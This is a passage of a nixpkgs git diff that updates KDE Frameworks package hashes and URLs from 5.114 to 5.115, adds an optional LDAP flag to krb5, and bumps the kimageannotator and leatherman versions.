name = "kholidays-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kholidays-5.115.0.tar.xz"; + sha256 = "1921nr4k758v4ci7rz1napsg6y2spv8z00qqjrqmka0grwrdgw6d"; + name = "kholidays-5.115.0.tar.xz"; }; }; khtml = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/portingAids/khtml-5.114.0.tar.xz"; - sha256 = "1mf84zs9hjvmi74f8rgqzrfkqjq597f9k64dn1bqcj13v0w10vry"; - name = "khtml-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/portingAids/khtml-5.115.0.tar.xz"; + sha256 = "0q6gx0xwq98cdqby4k4cgfqm4m7n915mfanf5vlhalld01jrjakl"; + name = "khtml-5.115.0.tar.xz"; }; }; ki18n = { - version = "5.114.0"; + version = "5.115.1"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/ki18n-5.114.0.tar.xz"; - sha256 = "1yg03awcx5ay6lgbgwv91i0ankrm94z9m0wky4v03gnwnvw8pa0v"; - name = "ki18n-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/ki18n-5.115.1.tar.xz"; + sha256 = "0x40z8jkr7bvn4fjnqrdqf0914286zbxpcn7bdqg2rqr982ksdvy"; + name = "ki18n-5.115.1.tar.xz"; }; }; kiconthemes = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kiconthemes-5.114.0.tar.xz"; - sha256 = "0ndiqmcs1ybj4acc6k3p9jwq09slqc4nj12ifqvlxrfj3ak6sb28"; - name = "kiconthemes-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kiconthemes-5.115.0.tar.xz"; + sha256 = "0bwxf4491hi0qz000ymajshhzxnqvq4a1bdb7mmvzf3byx5i69b9"; + name = "kiconthemes-5.115.0.tar.xz"; }; }; kidletime = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kidletime-5.114.0.tar.xz"; - sha256 = "06sc9w54g4n7s5gjkqz08rgcz6v3pr0bdgx3gbjgzass6l4m8w7p"; - name = "kidletime-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kidletime-5.115.0.tar.xz"; + sha256 = "0mmf6ybs4ajhkphdxwxnwyf3d3skjz88g2cqwvgbq3bldam2k04x"; + name = "kidletime-5.115.0.tar.xz"; }; }; kimageformats = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kimageformats-5.114.0.tar.xz"; - sha256 = "1nfzpgnrbwncx9zp9cwa169jlfv7i85p00a07d4jc5hrdyvvkn0w"; - name = "kimageformats-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kimageformats-5.115.0.tar.xz"; + sha256 = "10vjmbhy6p4vks5wmrn91vjdi3sykjil4kp1ph88nszqcq6h4qcz"; + name = "kimageformats-5.115.0.tar.xz"; }; }; kinit = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kinit-5.114.0.tar.xz"; - sha256 = "0b6z9gq05vz20hm5y9ai3sbqq3gxwm3a3z88dkvi7dywk7vbqcph"; - name = "kinit-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kinit-5.115.0.tar.xz"; + sha256 = "1bbxcbd6g1jhh5c2i127xzn77q3a4ia2180kymc6wyiqa3z7vj3q"; + name = "kinit-5.115.0.tar.xz"; }; }; kio = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kio-5.114.0.tar.xz"; - sha256 = "0nwmxbfhvfw69q07vxvflri7rkdczyc89xv4ll3nrzrhgf15kb2z"; - name = "kio-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kio-5.115.0.tar.xz"; + sha256 = "02zrixb73ranj08xk14m5pa198w54h3c3dqhvgrwwgw8b9xkhlqg"; + name = "kio-5.115.0.tar.xz"; }; }; kirigami2 = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kirigami2-5.114.0.tar.xz"; - sha256 = "1bd232gs4394fa3aq31mjqrn8f3vjsghx7817szi7ryvnn6fnqkw"; - name = "kirigami2-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kirigami2-5.115.0.tar.xz"; + sha256 = "1fd2q08a40xy5rv297q7084hbkgfkyq05k8y9gpk77460px45qhm"; + name = "kirigami2-5.115.0.tar.xz"; }; }; kitemmodels = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kitemmodels-5.114.0.tar.xz"; - sha256 = "1bfmcrbcbrvp2rcaf32vzvarqwp41gn6s4xpf56hnxbwf9kgk1fl"; - name = "kitemmodels-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kitemmodels-5.115.0.tar.xz"; + sha256 = "037gd15y93m4rcjxc6r4y5l3mgalyg6ryib837jcv0dv825x3ypz"; + name = "kitemmodels-5.115.0.tar.xz"; }; }; kitemviews = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kitemviews-5.114.0.tar.xz"; - sha256 = "00vl2ck0pq0sqcxvhlr2pimgr27hd9v7y9dz6w4arb5smi5q1ixg"; - name = "kitemviews-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kitemviews-5.115.0.tar.xz"; + sha256 = "1nb58pz1xhg7nyxjb22w6j60cjf34qpwqbg5ycy6n4n5wp15nbkf"; + name = "kitemviews-5.115.0.tar.xz"; }; }; kjobwidgets = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kjobwidgets-5.114.0.tar.xz"; - sha256 = "1ymlqi5cqcs79nj1vff8pqwgvy0dxj5vv7l529w3a3n315hkrny8"; - name = "kjobwidgets-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kjobwidgets-5.115.0.tar.xz"; + sha256 = "0q9h9sz7xwv0zdvszqmfwq3zv0w12gci88jprwp5gk09sgl7pqyf"; + name = "kjobwidgets-5.115.0.tar.xz"; }; }; kjs = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/portingAids/kjs-5.114.0.tar.xz"; - sha256 = "08nh6yr6bqifpb5s9a4wbjwmwnm7zp5k8hcdmyb6mlcbam9qp6j7"; - name = "kjs-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/portingAids/kjs-5.115.0.tar.xz"; + sha256 = "0ch42gwl9py7bcrx8liryp2w2sz6c46c7r6m44xg8sjqf00f1x4w"; + name = "kjs-5.115.0.tar.xz"; }; }; kjsembed = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/portingAids/kjsembed-5.114.0.tar.xz"; - sha256 = "1xglisxv7nfsbj9lgpvc4c5ql4f6m7n71vf7vih5ff3aqybrkgxa"; - name = "kjsembed-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/portingAids/kjsembed-5.115.0.tar.xz"; + sha256 = "0l9i7rjjbdllzbcxb1wmg8vspcjy5jiai87kkqhy873yrhfsrbpn"; + name = "kjsembed-5.115.0.tar.xz"; }; }; kmediaplayer = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/portingAids/kmediaplayer-5.114.0.tar.xz"; - sha256 = "092yvzvrkvr8xxncw7h5ghfd2bggzxsqfj67c2vhymhfw4i0c54x"; - name = "kmediaplayer-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/portingAids/kmediaplayer-5.115.0.tar.xz"; + sha256 = "1ydadms12xhjxkm5c7shk7ssw327nkv3qlg5rn9bbzq35nc79llm"; + name = "kmediaplayer-5.115.0.tar.xz"; }; }; knewstuff = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/knewstuff-5.114.0.tar.xz"; - sha256 = "15xmx7rnnrsz2cj044aviyr4hi9h8r0nnva9qzcjcq2hkkgj7wjj"; - name = "knewstuff-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/knewstuff-5.115.0.tar.xz"; + sha256 = "1zqwblssr03kdk9swsc4jqmzgfyixrhby05mb0df07hdh29938cb"; + name = "knewstuff-5.115.0.tar.xz"; }; }; knotifications = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/knotifications-5.114.0.tar.xz"; - sha256 = "0cjd5ml9hyzprjgmrc132cmp7g9hnl0h5swlxw2ifqnxxyfkg72b"; - name = "knotifications-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/knotifications-5.115.0.tar.xz"; + sha256 = "0hh6ay8nfm1ak6w74wdhwixxjdpywg7qrckf694hjmxvpgzp30pv"; + name = "knotifications-5.115.0.tar.xz"; }; }; knotifyconfig = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/knotifyconfig-5.114.0.tar.xz"; - sha256 = "049n64qlr69zv1dc1dhgbsca37179hp06xfsxnhg97lblz3p3gds"; - name = "knotifyconfig-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/knotifyconfig-5.115.0.tar.xz"; + sha256 = "1mh8phfixddi1h06kd42xfmdxgd2g9cqq8d1h9kp2vw5g4i9hiq5"; + name = "knotifyconfig-5.115.0.tar.xz"; }; }; kpackage = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kpackage-5.114.0.tar.xz"; - sha256 = "0v165az3k5lfszxy0kl2464573y0dcq92fyfiklwnkkcjsvba69d"; - name = "kpackage-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kpackage-5.115.0.tar.xz"; + sha256 = "0zbw8akrhx4g8sdlbh02qjwbxg0mzk7nbs5isrhi3s34xhzqg03y"; + name = "kpackage-5.115.0.tar.xz"; }; }; kparts = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kparts-5.114.0.tar.xz"; - sha256 = "1rrf765p554r7l8j23gx5zxdq6wimh0v91qdkwz7ilm2qr16vd5v"; - name = "kparts-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kparts-5.115.0.tar.xz"; + sha256 = "153xrci1fp7y4iby8d8izx70572h2rj8psf3xbpx6hqqsxwk7bd2"; + name = "kparts-5.115.0.tar.xz"; }; }; kpeople = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kpeople-5.114.0.tar.xz"; - sha256 = "04v0s3amn6lbb16qvp1r6figckva6xk8z7djk8jda8fbnx8dx2r1"; - name = "kpeople-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kpeople-5.115.0.tar.xz"; + sha256 = "0bvijsd14r153x2fjjk8slznwdxlxb4s3vwdfbimhp8vxln83hdq"; + name = "kpeople-5.115.0.tar.xz"; }; }; kplotting = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kplotting-5.114.0.tar.xz"; - sha256 = "17x58pplln0plqiyhjpzdiqxngylxq5gkc5gk7b91xzm783x2k0n"; - name = "kplotting-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kplotting-5.115.0.tar.xz"; + sha256 = "1wz1y32y2lfhjbwz9lz721w1rdlwqb19qfg2zkj15j64m5s5qvl3"; + name = "kplotting-5.115.0.tar.xz"; }; }; kpty = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kpty-5.114.0.tar.xz"; - sha256 = "0fm7bfp89kvg1a64q8piiyal71p6vjnqcm13zak6r9fbfwcm0gs9"; - name = "kpty-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kpty-5.115.0.tar.xz"; + sha256 = "06alh2i1j2k07rdxdm6rx1ajvd1355sz4nh1ba0a0vr6ic306k44"; + name = "kpty-5.115.0.tar.xz"; }; }; kquickcharts = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kquickcharts-5.114.0.tar.xz"; - sha256 = "1f91x92qdzxp31z7ixx9jn41hq9f3w9hjia94pab9vsnaz8prbd1"; - name = "kquickcharts-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kquickcharts-5.115.0.tar.xz"; + sha256 = "1fv64m86s5srcdqf37blhz3fdf7zx1z4l3xm0cc6f0xgwhfdhy5a"; + name = "kquickcharts-5.115.0.tar.xz"; }; }; kross = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/portingAids/kross-5.114.0.tar.xz"; - sha256 = "0bbpi63lxbb4ylx2jd172a2bqyxkd606n7w8zrvcjy466lkv3sz4"; - name = "kross-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/portingAids/kross-5.115.0.tar.xz"; + sha256 = "0vqb4kbxlncj90n93akz4m3svhbx4p16mpzaxb9xsc8y8bl2fvz2"; + name = "kross-5.115.0.tar.xz"; }; }; krunner = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/krunner-5.114.0.tar.xz"; - sha256 = "1rjs9b87bi4f6pdm9fwnha2sj2mrq260l80iz2jq1zah83p546sw"; - name = "krunner-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/krunner-5.115.0.tar.xz"; + sha256 = "0agsqs3x218jwmn1237bh70w50l99xyxn1w75md31v6sxszkkqhm"; + name = "krunner-5.115.0.tar.xz"; }; }; kservice = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kservice-5.114.0.tar.xz"; - sha256 = "0jdvlplnsb9w628wh3ip6awxvhgyc097zh7ls9614ymkbnpc9xca"; - name = "kservice-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kservice-5.115.0.tar.xz"; + sha256 = "1zayvj1f95azan48l1mhs9zm8rm7f4s20gpn61qqfn5abvxq7jwv"; + name = "kservice-5.115.0.tar.xz"; }; }; ktexteditor = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/ktexteditor-5.114.0.tar.xz"; - sha256 = "06amzk6290imi2gj3v1k3f56zdlad7zbz4wwlf34v4iibj9mfgw8"; - name = "ktexteditor-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/ktexteditor-5.115.0.tar.xz"; + sha256 = "1hxnwbpwf0bsfxn0g0yd6d2n5i0rf60871n9yyzxn6i7hzbprxll"; + name = "ktexteditor-5.115.0.tar.xz"; }; }; ktextwidgets = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/ktextwidgets-5.114.0.tar.xz"; - sha256 = "0w1wwyd3fy351rmkhf3i55is5031j2zxvswm0b1sb3pd159v888v"; - name = "ktextwidgets-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/ktextwidgets-5.115.0.tar.xz"; + sha256 = "13lxlc8g6hjk9vnyan12z9fjgzgj50ddf2bz6d2p18y01j68hj33"; + name = "ktextwidgets-5.115.0.tar.xz"; }; }; kunitconversion = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kunitconversion-5.114.0.tar.xz"; - sha256 = "1qyqvl8fy105zwma5nrkz9zg5932w2f33daw0azhj322iffrm39n"; - name = "kunitconversion-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kunitconversion-5.115.0.tar.xz"; + sha256 = "0x4fjsh4ms1qnlrsyrlhrkkl56wdmbcq6sqc2pldzxks6f5yp2cz"; + name = "kunitconversion-5.115.0.tar.xz"; }; }; kwallet = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kwallet-5.114.0.tar.xz"; - sha256 = "1cji8bvy5m77zljyrrgipsw8pxcds1sgikxlq3sdfxymcsw2wr36"; - name = "kwallet-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kwallet-5.115.0.tar.xz"; + sha256 = "0gggxbhck1s7sqrhq1px22jiyikprf5rm4h30wlwjh4lr0hzrczj"; + name = "kwallet-5.115.0.tar.xz"; }; }; kwayland = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kwayland-5.114.0.tar.xz"; - sha256 = "1lzmlbv5vl656cigjj07hbc0gj6g1i2xqanvnhxj360109kzilf1"; - name = "kwayland-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kwayland-5.115.0.tar.xz"; + sha256 = "0g34nihnim0a20fbsc0fxnpp4wxm8dhw5h8kdp6cm8airvci5d87"; + name = "kwayland-5.115.0.tar.xz"; }; }; kwidgetsaddons = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kwidgetsaddons-5.114.0.tar.xz"; - sha256 = "1cc8lsk9v0cp2wiy1q26mlkf8np0yj01sq8a7w13ga5s6hv4sh2n"; - name = "kwidgetsaddons-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kwidgetsaddons-5.115.0.tar.xz"; + sha256 = "0mdfp15iv2mqrkwbq2b3g653y4k5gs2s2mx2xg822bnfcx2q8ng3"; + name = "kwidgetsaddons-5.115.0.tar.xz"; }; }; kwindowsystem = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kwindowsystem-5.114.0.tar.xz"; - sha256 = "03xbsf1pmswd2kpn3pdszp4vndclsh7j02fp22npxaxllmfr4va9"; - name = "kwindowsystem-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kwindowsystem-5.115.0.tar.xz"; + sha256 = "0lsz6pxmkgvpmq76a30wg4p4bj8id6wivnsxncsfag7vnlcnp870"; + name = "kwindowsystem-5.115.0.tar.xz"; }; }; kxmlgui = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/kxmlgui-5.114.0.tar.xz"; - sha256 = "0gvjf32ssc0r0bdpb1912ldsr5rjls8vrscwy5gm9g5gw504hmmr"; - name = "kxmlgui-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/kxmlgui-5.115.0.tar.xz"; + sha256 = "0gbqndnc1w0fjkpazg5p565izb9p5dwsgnhi6n00y8a4shi2swbb"; + name = "kxmlgui-5.115.0.tar.xz"; }; }; kxmlrpcclient = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/portingAids/kxmlrpcclient-5.114.0.tar.xz"; - sha256 = "1fgjai3vj3yk67ynhd7blilyrdhdn5nvma3v3j1sbdg98pr7qzar"; - name = "kxmlrpcclient-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/portingAids/kxmlrpcclient-5.115.0.tar.xz"; + sha256 = "021j52d62z2lc1hqqw8dhcn7acxmrzn1m643586m06bi2rfgsx40"; + name = "kxmlrpcclient-5.115.0.tar.xz"; }; }; modemmanager-qt = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/modemmanager-qt-5.114.0.tar.xz"; - sha256 = "16jqhmcpsffl9a7c0bb4hwjy3bw5rakdsnc5n6y8djc6237jl9pi"; - name = "modemmanager-qt-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/modemmanager-qt-5.115.0.tar.xz"; + sha256 = "14ahzp2vn7xdhk9wcxfccn80a3ca6a652g1y0whp0szy0pnpajx0"; + name = "modemmanager-qt-5.115.0.tar.xz"; }; }; networkmanager-qt = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/networkmanager-qt-5.114.0.tar.xz"; - sha256 = "10anjsnrzawrfjlznjvvl2sbxrajl2ddnq2kgl314b5dk7z3yk4n"; - name = "networkmanager-qt-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/networkmanager-qt-5.115.0.tar.xz"; + sha256 = "0ygbvbdrxrb1nblgddkwsmvskg48y7ri816w9hbi3wxhjniag4hx"; + name = "networkmanager-qt-5.115.0.tar.xz"; }; }; oxygen-icons = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/oxygen-icons-5.114.0.tar.xz"; - sha256 = "0f6hv5g8y2ggagrq9x9b78bqxqg6bqcpm1xxhf69ybgjikrqdf2r"; - name = "oxygen-icons-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/oxygen-icons-5.115.0.tar.xz"; + sha256 = "1f54wqz2ypi9qca9rrac3d0rnzzxay1x8cl2zdar2lk4qas304qj"; + name = "oxygen-icons-5.115.0.tar.xz"; }; }; plasma-framework = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/plasma-framework-5.114.0.tar.xz"; - sha256 = "058hl76q35bw3rzmv348azk1lmhkpgmfrxr3jd9s1hphijr8sgcx"; - name = "plasma-framework-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/plasma-framework-5.115.0.tar.xz"; + sha256 = "1xqijqn7a92abp4zk1f8glbrhk4y3jpzblildxq6nix626xk0vrc"; + name = "plasma-framework-5.115.0.tar.xz"; }; }; prison = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/prison-5.114.0.tar.xz"; - sha256 = "1wbr1lryxmrx65ilq1bhqsdhhikrih977nhpb02fq0cqnvv7v9i7"; - name = "prison-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/prison-5.115.0.tar.xz"; + sha256 = "1pkk8azcwadiqcmd3g61v076f928dz2037gf5kb46dibpa8gqr49"; + name = "prison-5.115.0.tar.xz"; }; }; purpose = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/purpose-5.114.0.tar.xz"; - sha256 = "1lj67f0x4gvbh9by3c3crbbwwnx7b9ifjna9ggziya4m6zj0m4z1"; - name = "purpose-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/purpose-5.115.0.tar.xz"; + sha256 = "03z0vq8h2244mmsj1nkjwkk71dhsisx7aw497i09y7hypggaa1ms"; + name = "purpose-5.115.0.tar.xz"; }; }; qqc2-desktop-style = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/qqc2-desktop-style-5.114.0.tar.xz"; - sha256 = "1y5g91vybjvhwmzpfwrc70q5j7jxf5b972f9fh2vzb930jir6c8g"; - name = "qqc2-desktop-style-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/qqc2-desktop-style-5.115.0.tar.xz"; + sha256 = "001pnzchm5h73h10p4nbv11gp71n9wnkvr2mxn96qmqw3976aisq"; + name = "qqc2-desktop-style-5.115.0.tar.xz"; }; }; solid = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/solid-5.114.0.tar.xz"; - sha256 = "1slxlj5jhp8g745l328932934633nl81sq3n8fd73h655hymsk4s"; - name = "solid-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/solid-5.115.0.tar.xz"; + sha256 = "0yrxfzj2qgm8pc7jqgpxdkbc2p7c2zm6fg3mwdvbh9zgl3vcd8d7"; + name = "solid-5.115.0.tar.xz"; }; }; sonnet = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/sonnet-5.114.0.tar.xz"; - sha256 = "0zxi96i3gfpx759qc1nyz7jqlswg5ivgr1w9gbbsm1x5fi9ikadx"; - name = "sonnet-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/sonnet-5.115.0.tar.xz"; + sha256 = "054ra5kvmwv6f21cf3fd7x4z0sfar7hm4vi33rn6hzsh0b7q4qfy"; + name = "sonnet-5.115.0.tar.xz"; }; }; syndication = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/syndication-5.114.0.tar.xz"; - sha256 = "13rjb1zm9yd8vbm9h7avqih5v0rr2srqwglm29l7mcnankqlh4n7"; - name = "syndication-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/syndication-5.115.0.tar.xz"; + sha256 = "0imr1n0jc0lc0jr5r2r7yzbniq6wbmzlsf8l85d8sinb2d1wgdhv"; + name = "syndication-5.115.0.tar.xz"; }; }; syntax-highlighting = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/syntax-highlighting-5.114.0.tar.xz"; - sha256 = "1skblg2m0sar63qrgkjsg0w9scixggm5qj7lp4gzjn4hwq6m3n63"; - name = "syntax-highlighting-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/syntax-highlighting-5.115.0.tar.xz"; + sha256 = "02nyyb9x53mnzc2bxdwswz3cjsn6alf2k4hmgaw26c14mhcsf8h6"; + name = "syntax-highlighting-5.115.0.tar.xz"; }; }; threadweaver = { - version = "5.114.0"; + version = "5.115.0"; src = fetchurl { - url = "${mirror}/stable/frameworks/5.114/threadweaver-5.114.0.tar.xz"; - sha256 = "1y07g58w6z3i11y3djg3aaxanhp9hzaciq61l4dn1gqwghn09xgh"; - name = "threadweaver-5.114.0.tar.xz"; + url = "${mirror}/stable/frameworks/5.115/threadweaver-5.115.0.tar.xz"; + sha256 = "1f2fs946scr34kvrb5qrw5mg2id25lwysd3q45wkigxmymc8dl4z"; + name = "threadweaver-5.115.0.tar.xz"; }; }; } diff --git a/pkgs/development/libraries/kerberos/krb5.nix b/pkgs/development/libraries/kerberos/krb5.nix index fdf01c195af58..bfa2974bdc5b9 100644 --- a/pkgs/development/libraries/kerberos/krb5.nix +++ b/pkgs/development/libraries/kerberos/krb5.nix @@ -14,6 +14,7 @@ # This is called "staticOnly" because krb5 does not support # builting both static and shared, see below. , staticOnly ? false +, withLdap ? false , withVerto ? false }: @@ -25,6 +26,9 @@ let libOnly = type == "lib"; in + +assert withLdap -> !libOnly; + stdenv.mkDerivation rec { pname = "${type}krb5"; version = "1.21.2"; @@ -40,6 +44,7 @@ stdenv.mkDerivation rec { # krb5's ./configure does not allow passing --enable-shared and --enable-static at the same time. # See https://bbs.archlinux.org/viewtopic.php?pid=1576737#p1576737 ++ lib.optionals staticOnly [ "--enable-static" "--disable-shared" ] + ++ lib.optional withLdap "--with-ldap" ++ lib.optional withVerto "--with-system-verto" ++ lib.optional stdenv.isFreeBSD ''WARN_CFLAGS=""'' ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) @@ -55,7 +60,8 @@ stdenv.mkDerivation rec { buildInputs = [ openssl ] ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.libc != "bionic" && !(stdenv.hostPlatform.useLLVM or false)) [ keyutils ] - ++ lib.optionals (!libOnly) [ openldap libedit ] + ++ lib.optionals (!libOnly) [ libedit ] + ++ lib.optionals withLdap [ openldap ] ++ lib.optionals withVerto [ libverto ]; propagatedBuildInputs = lib.optionals stdenv.isDarwin (with darwin.apple_sdk; [ diff --git a/pkgs/development/libraries/kimageannotator/default.nix b/pkgs/development/libraries/kimageannotator/default.nix index ce1be1d180629..e32247a488a30 100644 --- a/pkgs/development/libraries/kimageannotator/default.nix +++ b/pkgs/development/libraries/kimageannotator/default.nix @@ -1,18 +1,29 @@ -{ lib, mkDerivation, fetchFromGitHub, cmake, qtbase, kcolorpicker, qttools }: +{ lib, stdenv, fetchFromGitHub, cmake, qttools, qtbase, qtsvg, kcolorpicker }: -mkDerivation rec { +let + isQt6 = lib.versions.major qtbase.version == "6"; +in stdenv.mkDerivation rec { pname = "kimageannotator"; - version = "0.6.1"; + version = "0.7.0"; src = fetchFromGitHub { owner = "ksnip"; repo = "kImageAnnotator"; rev = "v${version}"; - sha256 = "sha256-lNoYAJ5yTC5H0gWPVkBGhLroRhFCPyC1DsVBy0IrqL4="; + hash = "sha256-Dq9CM/D3nA7MaY9rfwqF/UAw/+1ptKLf3P8jhFdngKk="; }; nativeBuildInputs = [ cmake qttools ]; - buildInputs = [ qtbase kcolorpicker ]; + buildInputs = [ qtbase qtsvg ]; + propagatedBuildInputs = [ kcolorpicker ]; + + cmakeFlags = [ + (lib.cmakeBool "BUILD_WITH_QT6" isQt6) + (lib.cmakeBool "BUILD_SHARED_LIBS" true) + ]; + + # Library only + dontWrapQtApps = true; meta = with lib; { description = "Tool for annotating images"; diff --git a/pkgs/development/libraries/leatherman/default.nix b/pkgs/development/libraries/leatherman/default.nix index 47bdd0ffb4809..06b528ff8cf79 100644 --- a/pkgs/development/libraries/leatherman/default.nix +++ b/pkgs/development/libraries/leatherman/default.nix @@ -2,10 +2,10 @@ stdenv.mkDerivation rec { pname = "leatherman"; - version = "1.12.11"; + version = "1.12.12"; src = fetchFromGitHub { - sha256 = "sha256-XB5qIXPe1Tu+cfxuL+HAfR9QQNiUY/noO51CVEz9hsU="; + sha256 = "sha256-V/AMdJ3ldlgBaO8gS0FOqb5tTdRGGW/+3LZq/TKkdog="; rev = version; repo = "leatherman"; owner = "puppetlabs"; diff --git 